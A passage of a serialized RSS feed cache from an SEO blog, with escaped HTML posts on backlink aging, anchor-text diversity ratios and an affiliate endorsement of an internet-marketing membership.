&lt;em&gt;phase&lt;/em&gt; occurs &lt;strong&gt;after 6-8 months&lt;/strong&gt; &amp;#8211; and continues to pass more value as time progresses.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;After the 8 month threshold, a backlink is stable and well on it&amp;#8217;s way to gaining trust and passing along its total link flow to the target site. This suggests that as links age, they pass more ranking factor.&lt;/p&gt;\n&lt;p&gt;The three primary factors that impact this algorithm are  (1) the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/with-seo-time-and-authority-are-on-your-side/\&quot;&gt;age/time of the link&lt;/a&gt; and (2) the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/seo-rankings-trust-and-relevance-signals/\&quot;&gt;relevancy of the link&lt;/a&gt; and (3) page strength as determined by the number of inbound / outbound links on the page providing the link.&lt;/p&gt;\n&lt;p&gt;As an aspect of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/finding-the-right-link-velocity-to-complement-seo/\&quot;&gt;link velocity&lt;/a&gt;, the rate in which you gain and / or lose inbound links impacts a website, but also, the age (as mentioned above) dramatically impacts ranking.&lt;/p&gt;\n&lt;p&gt;We can speculate the reason for this, but rather than look at the nuts and bolts of the algo, simply think like a developer and put yourself in the shoes of the programmers crafting the coding symphony known as Google’s search algorithm.&lt;/p&gt;\n&lt;p&gt;How would you keep new links from being disruptive (if automated or otherwise) if they passed 100% ranking factor out of the gate? This would be an open invitation for automation (which could easily skew search engine result page results) from a barrage or spike of links.&lt;/p&gt;\n&lt;h3&gt;Factoring The Link Grandfather Effect&lt;/h3&gt;\n&lt;p&gt;The answer to this quandary, merely think of it as an algorithmic &lt;strong&gt;link-throttle &lt;/strong&gt;that essentially limits how much link-juice links produce based on specific thresholds.&lt;/p&gt;\n&lt;p&gt;Put simply, as links age, they pass more trust, trust translates into (a) PageRank (b) link-flow which in turn pass ranking factor along the link graph to the target page (which eventually becomes more buoyant (until it collides with the next page above it who has more relevance score) and then subsides in the search engine result pages.&lt;/p&gt;\n&lt;p&gt;Aside from the off page inbound links, their age and relevancy,  typically on page factors or the degree of your on page efficiency determines how many off page inbound links are required to cross the tipping point.&lt;/p&gt;\n&lt;p&gt;Each website varies based on the competition in the marketplace, the on site architecture, the volume and integrity of the internal links, the age of the site, how each page is fed in the hierarchy and &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-consulting/which-links-pass-the-most-weight-in-search-engines/\&quot;&gt;how many shingles&lt;/a&gt; (supporting keyword occurrences) or internal links based on &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-semantic-connectivity-affects-seo/\&quot;&gt;semantic overlap&lt;/a&gt; are present.&lt;/p&gt;\n&lt;p&gt;So, if you understand that it’s not always backlinks that push rankings higher, it’s capping link-loss and trust from the pre-existing inbound links or strong internal pages getting more link-flow and pushing it to the appropriate silo (preferred landing page) of the semantic theme that make this a powerful &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization-myths/on-page-off-page-seo/\&quot;&gt;on page and off page SEO&lt;/a&gt; combination.&lt;/p&gt;\n&lt;p&gt;One quick way to give your rankings a boost is (a) build links to your links or (b) go back to published URL’s and syndicate them across multiple feeds (to get more page level citation) which in turn translates into buoyant rankings.&lt;/p&gt;\n&lt;p&gt;The takeaway here is (1) use &lt;strong&gt;content syndication&lt;/strong&gt; and aggregators to steadily build a stream of inbound deep links to internal pages and (2) use the collective &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/understanding-link-prominence-volume-velocity-flow-and-distribution/\&quot;&gt;link-weight&lt;/a&gt; they produce to rank &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-tips-for-theming-and-siloing/\&quot;&gt;multiple semantic themes&lt;/a&gt; within your website.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=EayqR2C4Nqk:FT7sH1odXB0:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/EayqR2C4Nqk\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:24;a:12:{s:5:\&quot;title\&quot;;s:56:\&quot;Gain Access to Michael Campbell’s Dynamic Media Vault!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/6smTuMPoyBY/\&quot;;s:8:\&quot;category\&quot;;s:165:\&quot;Affiliate MarketingAccess the Internet Marketing VaultAffiliate Marketing StrategiesAffiliate Marketing TacticsAffiliate TipsMichael CampbellMichael Campbell\'s Vault\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Wed, 16 Nov 2011 07:04:57 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9026\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:3473:\&quot;&lt;p&gt;It’s rare that I endorse anything or anyone, but there has been someone from the affiliate marketing space who has always delivered mind-shattering, truthful, no-frills advice on internet marketing time and time again. That person is Michael Campbell and today&amp;#8217;s topic is his exclusive &lt;strong&gt;Dynamic Media Vault&lt;/strong&gt;!&lt;/p&gt;\n&lt;div id=\&quot;attachment_9027\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 337px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/affiliate-marketing/gain-access-to-michael-campbells-internet-marketing-vault/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9027\&quot; title=\&quot;access-the-vault\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/11/access-the-vault.jpg\&quot; alt=\&quot;Michael Campbell\'s Vault\&quot; width=\&quot;327\&quot; height=\&quot;367\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Gain Access to the Vault!&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;For a brief history lesson, Michael Campbell is a man who has been silently slaying markets online since 1988 and is either innovating evergreen methods (from &lt;a href=\&quot;http://www.revengeofthemininet.com/rev/\&quot;&gt;revenge of the mininet&lt;/a&gt;) which now applies to social media and web 2.0 properties (whereas previously it applied to how to create your own network of sites to dominate search engines) or raking in 6 to 7 figures yearly from their application.&lt;/p&gt;\n&lt;p&gt;In either case, the information provided inside &lt;strong&gt;“The Vault”&lt;/strong&gt; is nothing less than battle tested methods and strategies that you can use to monetize websites, CPA offers and conversion tactics, such as his free report / whitepaper on 9 proven templates, their ideal ad and content placement and which positions earned &lt;strong&gt;the highest click through rates&lt;/strong&gt; using heat maps and statistical test data conducted over a 6 month sample set for the data.&lt;span id=\&quot;more-9026\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;You can &lt;strong&gt;Download &amp;gt;&amp;gt;&amp;gt;&lt;a href=\&quot;http://www.dynamicmedia.com/ultimate-heatmap/\&quot;&gt;The Ultimate HeatMap Report&lt;/a&gt;&amp;lt;&amp;lt;&amp;lt; here &lt;/strong&gt;– but to truly gain access to over 150 hours of podcasts, conversion tests, strategies, hardcore / real world tactics that you can put to work – &lt;a href=\&quot;http://www.dynamicmedia.com/idevaffiliate/idevaffiliate.php?id=571_2_3_4\&quot;&gt;spend the money&lt;/a&gt; (aff link) to become a member.&lt;/p&gt;\n&lt;p&gt;It’s a one-time fee you won’t regret, and quite simply, you won’t find information like this floating around the web, since people typically keep this stuff &lt;strong&gt;close to the chest&lt;/strong&gt; (and behind closed doors).&lt;/p&gt;\n&lt;p&gt;Fortunately, Michael is generous and truly enjoys giving back to others. Don’t take my word for it, &lt;a href=\&quot;http://www.dynamicmedia.com/idevaffiliate/idevaffiliate.php?id=571&amp;amp;url=http://www.dynamicmedia.com/register/?wlfrom=%2Frevenge%2F\&quot;&gt;check it out for yourself&lt;/a&gt; and you be the judge there are dozens of hour-long podcasts, useful guides and more inside the vault!&lt;/p&gt;\n&lt;p&gt;Hope to see you on the inside and this truly is one tool in your &lt;strong&gt;internet marketing arsenal&lt;/strong&gt; you can leverage time and time again.&lt;/p&gt;\n&lt;p&gt;Enjoy!&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=6smTuMPoyBY:MkhybosV-OE:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/6smTuMPoyBY\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:368:\&quot;It’s rare that I endorse anything or anyone, but there has been someone from the affiliate marketing space who has always delivered mind-shattering, truthful, no-frills advice on internet marketing time and time again. That person is Michael Campbell and today&amp;#8217;s topic is his exclusive Dynamic Media Vault! For a brief history lesson, Michael Campbell is [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;1\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:117:\&quot;http://www.seodesignsolutions.com/blog/affiliate-marketing/gain-access-to-michael-campbells-internet-marketing-vault/\&quot;;}s:7:\&quot;summary\&quot;;s:368:\&quot;It’s rare that I endorse anything or anyone, but there has been someone from the affiliate marketing space who has always delivered mind-shattering, truthful, no-frills advice on internet marketing time and time again. That person is Michael Campbell and today&amp;#8217;s topic is his exclusive Dynamic Media Vault! For a brief history lesson, Michael Campbell is [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:3473:\&quot;&lt;p&gt;It’s rare that I endorse anything or anyone, but there has been someone from the affiliate marketing space who has always delivered mind-shattering, truthful, no-frills advice on internet marketing time and time again. That person is Michael Campbell and today&amp;#8217;s topic is his exclusive &lt;strong&gt;Dynamic Media Vault&lt;/strong&gt;!&lt;/p&gt;\n&lt;div id=\&quot;attachment_9027\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 337px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/affiliate-marketing/gain-access-to-michael-campbells-internet-marketing-vault/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9027\&quot; title=\&quot;access-the-vault\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/11/access-the-vault.jpg\&quot; alt=\&quot;Michael Campbell\'s Vault\&quot; width=\&quot;327\&quot; height=\&quot;367\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Gain Access to the Vault!&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;For a brief history lesson, Michael Campbell is a man who has been silently slaying markets online since 1988 and is either innovating evergreen methods (from &lt;a href=\&quot;http://www.revengeofthemininet.com/rev/\&quot;&gt;revenge of the mininet&lt;/a&gt;) which now applies to social media and web 2.0 properties (whereas previously it applied to how to create your own network of sites to dominate search engines) or raking in 6 to 7 figures yearly from their application.&lt;/p&gt;\n&lt;p&gt;In either case, the information provided inside &lt;strong&gt;“The Vault”&lt;/strong&gt; is nothing less than battle tested methods and strategies that you can use to monetize websites, CPA offers and conversion tactics, such as his free report / whitepaper on 9 proven templates, their ideal ad and content placement and which positions earned &lt;strong&gt;the highest click through rates&lt;/strong&gt; using heat maps and statistical test data conducted over a 6 month sample set for the data.&lt;span id=\&quot;more-9026\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;You can &lt;strong&gt;Download &amp;gt;&amp;gt;&amp;gt;&lt;a href=\&quot;http://www.dynamicmedia.com/ultimate-heatmap/\&quot;&gt;The Ultimate HeatMap Report&lt;/a&gt;&amp;lt;&amp;lt;&amp;lt; here &lt;/strong&gt;– but to truly gain access to over 150 hours of podcasts, conversion tests, strategies, hardcore / real world tactics that you can put to work – &lt;a href=\&quot;http://www.dynamicmedia.com/idevaffiliate/idevaffiliate.php?id=571_2_3_4\&quot;&gt;spend the money&lt;/a&gt; (aff link) to become a member.&lt;/p&gt;\n&lt;p&gt;It’s a one-time fee you won’t regret, and quite simply, you won’t find information like this floating around the web, since people typically keep this stuff &lt;strong&gt;close to the chest&lt;/strong&gt; (and behind closed doors).&lt;/p&gt;\n&lt;p&gt;Fortunately, Michael is generous and truly enjoys giving back to others. Don’t take my word for it, &lt;a href=\&quot;http://www.dynamicmedia.com/idevaffiliate/idevaffiliate.php?id=571&amp;amp;url=http://www.dynamicmedia.com/register/?wlfrom=%2Frevenge%2F\&quot;&gt;check it out for yourself&lt;/a&gt; and you be the judge there are dozens of hour-long podcasts, useful guides and more inside the vault!&lt;/p&gt;\n&lt;p&gt;Hope to see you on the inside and this truly is one tool in your &lt;strong&gt;internet marketing arsenal&lt;/strong&gt; you can leverage time and time again.&lt;/p&gt;\n&lt;p&gt;Enjoy!&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=6smTuMPoyBY:MkhybosV-OE:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/6smTuMPoyBY\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:25;a:12:{s:5:\&quot;title\&quot;;s:36:\&quot;Should You Obfuscate Your Backlinks?\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/a1yVfIhjp24/\&quot;;s:8:\&quot;category\&quot;;s:80:\&quot;Link BuildingAnchor Text DiversityObfscate Inbound LinksObfuscate Internal Links\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Mon, 07 Nov 2011 05:10:49 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9019\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:6022:\&quot;&lt;p&gt;Aside from enjoying using the word “&lt;a href=\&quot;http://en.wikipedia.org/wiki/Obfuscation\&quot;&gt;obfuscate&lt;/a&gt;” in a sentence, the meaning is clear for SEO when considering link building. Obfuscating links for the purpose of optimization simply means adding variety and switching things up (with your links) to avoid a pattern.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9020\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/should-you-obfuscate-your-backlinks/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9020\&quot; title=\&quot;obfuscating-links\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/11/obfuscating-links.jpg\&quot; alt=\&quot;\&quot; width=\&quot;400\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Should You Obfuscate Your Links?&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;In this context, the pattern is anchor text obviousness (linking to a page with the same anchor text with minimal variation). Failure to add variety to inbound or internal anchor text (links) can lead to &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-to-avoid-seo-over-optimization/\&quot;&gt;over optimization&lt;/a&gt; as a result of link velocity and how people link from the web.&lt;span id=\&quot;more-9019\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;For example, if a large percentage of your backlinks are all from similar IP sources, have appeared in clusters in a timeline that seems (to good to be true), then chances are they could leave a trail that suggests that some type of &lt;em&gt;intentional promotion&lt;/em&gt; / link building being done.&lt;/p&gt;\n&lt;p&gt;While it is no surprise (as a capitalistic system denotes) competition can bring out the best and the worst of us. While the moral climate of promotion is questionable, it all boils down to intent. The quandary about link building (between Google and SEO) is based on the intent of the link.&lt;/p&gt;\n&lt;p&gt;Their argument is, are you linking to other websites because you want to share a resource or because someone is paying you to do so? While their position on links is clear, expecting the web to conform is highly unlikely (considering what is at stake) high rankings and traffic for positions above the fold for businesses who bag the best links with ideal anchor text.&lt;/p&gt;\n&lt;p&gt;Considering that links were around before search engines and links are the only thing allowing you to move from page to page and website to website about the web only validates their importance. Your interpretation of link building should be (links come in various types but if used in the right context, each type has a place) if you are using a tiered approach (to deep to discuss in this brief post).&lt;/p&gt;\n&lt;h3&gt;Implementing Shingle Diversity&lt;/h3&gt;\n&lt;p&gt;While there are no absolutes, merely consider these suggestions ideal guidelines for building a more robust and / or natural link profile.&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Use the domain name or website address  in 10% of inbound links (ideally to the homepage)&lt;/li&gt;\n&lt;li&gt;Use the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/how-to-seo-your-website/\&quot;&gt;primary shingle&lt;/a&gt; “exact match” keyword to a preferred silo landing page (a page built specifically for that keyword” approximately 35% of the time while keeping link velocity in mind (not building or losing links too fast) while linking to it from the homepage or other strong navigational or silo landing pages from “&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-consulting/which-links-pass-the-most-weight-in-search-engines/\&quot;&gt;contextual links&lt;/a&gt;”.&lt;/li&gt;\n&lt;li&gt;Use an alternative variations 15% of the time (to mix up the natural inbound link diversity) such as juxtaposed shingles, or synonyms mixed with the primary keyword.&lt;/li&gt;\n&lt;li&gt;Use long tail variations 20% of the time (whereby the keyword is surrounded by the primary keyword and / or additional modifiers either before or after the shingles.&lt;/li&gt;\n&lt;li&gt;Use the plural variation 20% of the time (building both singular and plural variations ensures you rank for both).&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Also remember, the same applies for internal links, except for the diversity should be less, but still incorporate a variety of shingles, depending on the method you are utilizing. For example, in order to boost one keyword, then:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Build the same anchor text shingle (group of words) to the primary landing page from within the site.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;To make the page rank for &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-rankings-and-how-to-create-them/\&quot;&gt;additional keyword variations&lt;/a&gt; / keyword queries (that either appear on the page or are linked form pages designed to rank for those shingles) which are in essence “&lt;strong&gt;passing along&lt;/strong&gt;” their link-flow and authority to the target page. For that method of on page / off page SEO ratios use:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Use a mixed ratio of primary internal links to the target / preferred landing page&lt;/li&gt;\n&lt;li&gt; Use a mixed ratio of off page inbound links to make the page rank for the spread of aggregate links in the anchor text.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The extent of the result depends on (a) competitors (b) domain and page strength (c) trust passed from the citation of the collective links and (d) the percentage of on page and off page inbound links to a page.&lt;/p&gt;\n&lt;p&gt;The takeaway here is diversity is the spice of life, and also applies when building internal or inbound back links. So, mix it up (your anchor text) to get past stale rankings and strengthen the link profile of your websites. Ultimately the ratios are up to you, but at least you have a method to fall back for a skeleton when it comes to shingle usage and links (either internal or inbound).&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=a1yVfIhjp24:Y0N922qjWXM:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/a1yVfIhjp24\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:347:\&quot;Aside from enjoying using the word “obfuscate” in a sentence, the meaning is clear for SEO when considering link building. Obfuscating links for the purpose of optimization simply means adding variety and switching things up (with your links) to avoid a pattern. In this context, the pattern is anchor text obviousness (linking to a page [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;6\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:89:\&quot;http://www.seodesignsolutions.com/blog/link-building/should-you-obfuscate-your-backlinks/\&quot;;}s:7:\&quot;summary\&quot;;s:347:\&quot;Aside from enjoying using the word “obfuscate” in a sentence, the meaning is clear for SEO when considering link building. Obfuscating links for the purpose of optimization simply means adding variety and switching things up (with your links) to avoid a pattern. In this context, the pattern is anchor text obviousness (linking to a page [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:6022:\&quot;&lt;p&gt;Aside from enjoying using the word “&lt;a href=\&quot;http://en.wikipedia.org/wiki/Obfuscation\&quot;&gt;obfuscate&lt;/a&gt;” in a sentence, the meaning is clear for SEO when considering link building. Obfuscating links for the purpose of optimization simply means adding variety and switching things up (with your links) to avoid a pattern.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9020\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/should-you-obfuscate-your-backlinks/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9020\&quot; title=\&quot;obfuscating-links\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/11/obfuscating-links.jpg\&quot; alt=\&quot;\&quot; width=\&quot;400\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Should You Obfuscate Your Links?&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;In this context, the pattern is anchor text obviousness (linking to a page with the same anchor text with minimal variation). Failure to add variety to inbound or internal anchor text (links) can lead to &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-to-avoid-seo-over-optimization/\&quot;&gt;over optimization&lt;/a&gt; as a result of link velocity and how people link from the web.&lt;span id=\&quot;more-9019\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;For example, if a large percentage of your backlinks are all from similar IP sources, have appeared in clusters in a timeline that seems (to good to be true), then chances are they could leave a trail that suggests that some type of &lt;em&gt;intentional promotion&lt;/em&gt; / link building being done.&lt;/p&gt;\n&lt;p&gt;While it is no surprise (as a capitalistic system denotes) competition can bring out the best and the worst of us. While the moral climate of promotion is questionable, it all boils down to intent. The quandary about link building (between Google and SEO) is based on the intent of the link.&lt;/p&gt;\n&lt;p&gt;Their argument is, are you linking to other websites because you want to share a resource or because someone is paying you to do so? While their position on links is clear, expecting the web to conform is highly unlikely (considering what is at stake) high rankings and traffic for positions above the fold for businesses who bag the best links with ideal anchor text.&lt;/p&gt;\n&lt;p&gt;Considering that links were around before search engines and links are the only thing allowing you to move from page to page and website to website about the web only validates their importance. Your interpretation of link building should be (links come in various types but if used in the right context, each type has a place) if you are using a tiered approach (to deep to discuss in this brief post).&lt;/p&gt;\n&lt;h3&gt;Implementing Shingle Diversity&lt;/h3&gt;\n&lt;p&gt;While there are no absolutes, merely consider these suggestions ideal guidelines for building a more robust and / or natural link profile.&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Use the domain name or website address  in 10% of inbound links (ideally to the homepage)&lt;/li&gt;\n&lt;li&gt;Use the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/how-to-seo-your-website/\&quot;&gt;primary shingle&lt;/a&gt; “exact match” keyword to a preferred silo landing page (a page built specifically for that keyword” approximately 35% of the time while keeping link velocity in mind (not building or losing links too fast) while linking to it from the homepage or other strong navigational or silo landing pages from “&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-consulting/which-links-pass-the-most-weight-in-search-engines/\&quot;&gt;contextual links&lt;/a&gt;”.&lt;/li&gt;\n&lt;li&gt;Use an alternative variations 15% of the time (to mix up the natural inbound link diversity) such as juxtaposed shingles, or synonyms mixed with the primary keyword.&lt;/li&gt;\n&lt;li&gt;Use long tail variations 20% of the time (whereby the keyword is surrounded by the primary keyword and / or additional modifiers either before or after the shingles.&lt;/li&gt;\n&lt;li&gt;Use the plural variation 20% of the time (building both singular and plural variations ensures you rank for both).&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Also remember, the same applies for internal links, except for the diversity should be less, but still incorporate a variety of shingles, depending on the method you are utilizing. For example, in order to boost one keyword, then:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Build the same anchor text shingle (group of words) to the primary landing page from within the site.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;To make the page rank for &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-rankings-and-how-to-create-them/\&quot;&gt;additional keyword variations&lt;/a&gt; / keyword queries (that either appear on the page or are linked form pages designed to rank for those shingles) which are in essence “&lt;strong&gt;passing along&lt;/strong&gt;” their link-flow and authority to the target page. For that method of on page / off page SEO ratios use:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Use a mixed ratio of primary internal links to the target / preferred landing page&lt;/li&gt;\n&lt;li&gt; Use a mixed ratio of off page inbound links to make the page rank for the spread of aggregate links in the anchor text.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The extent of the result depends on (a) competitors (b) domain and page strength (c) trust passed from the citation of the collective links and (d) the percentage of on page and off page inbound links to a page.&lt;/p&gt;\n&lt;p&gt;The takeaway here is diversity is the spice of life, and also applies when building internal or inbound back links. So, mix it up (your anchor text) to get past stale rankings and strengthen the link profile of your websites. Ultimately the ratios are up to you, but at least you have a method to fall back for a skeleton when it comes to shingle usage and links (either internal or inbound).&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=a1yVfIhjp24:Y0N922qjWXM:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/a1yVfIhjp24\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:26;a:12:{s:5:\&quot;title\&quot;;s:51:\&quot;Which Links Pass the Most Weight in Search Engines?\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/sUdzMIoZu7s/\&quot;;s:8:\&quot;category\&quot;;s:74:\&quot;SEO ConsultingAdvanced On Page SEOlink flowLink WeightOn Page Optimization\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Fri, 04 Nov 2011 01:43:08 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9012\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:12435:\&quot;&lt;p&gt;Link weight and &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/why-internal-links-are-more-important-than-backlinks/\&quot;&gt;link-flow&lt;/a&gt; are the most critical on page elements after you (1) map out which keywords you’re targeting (2) mirror the relevance hierarchy through the site architecture through the respective pillars (landing pages) and supporting articles and (3) initiate the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/maximizing-market-share-with-seo-modifiers/\&quot;&gt;citation process&lt;/a&gt; via internal linking and off page inbound links.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9014\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 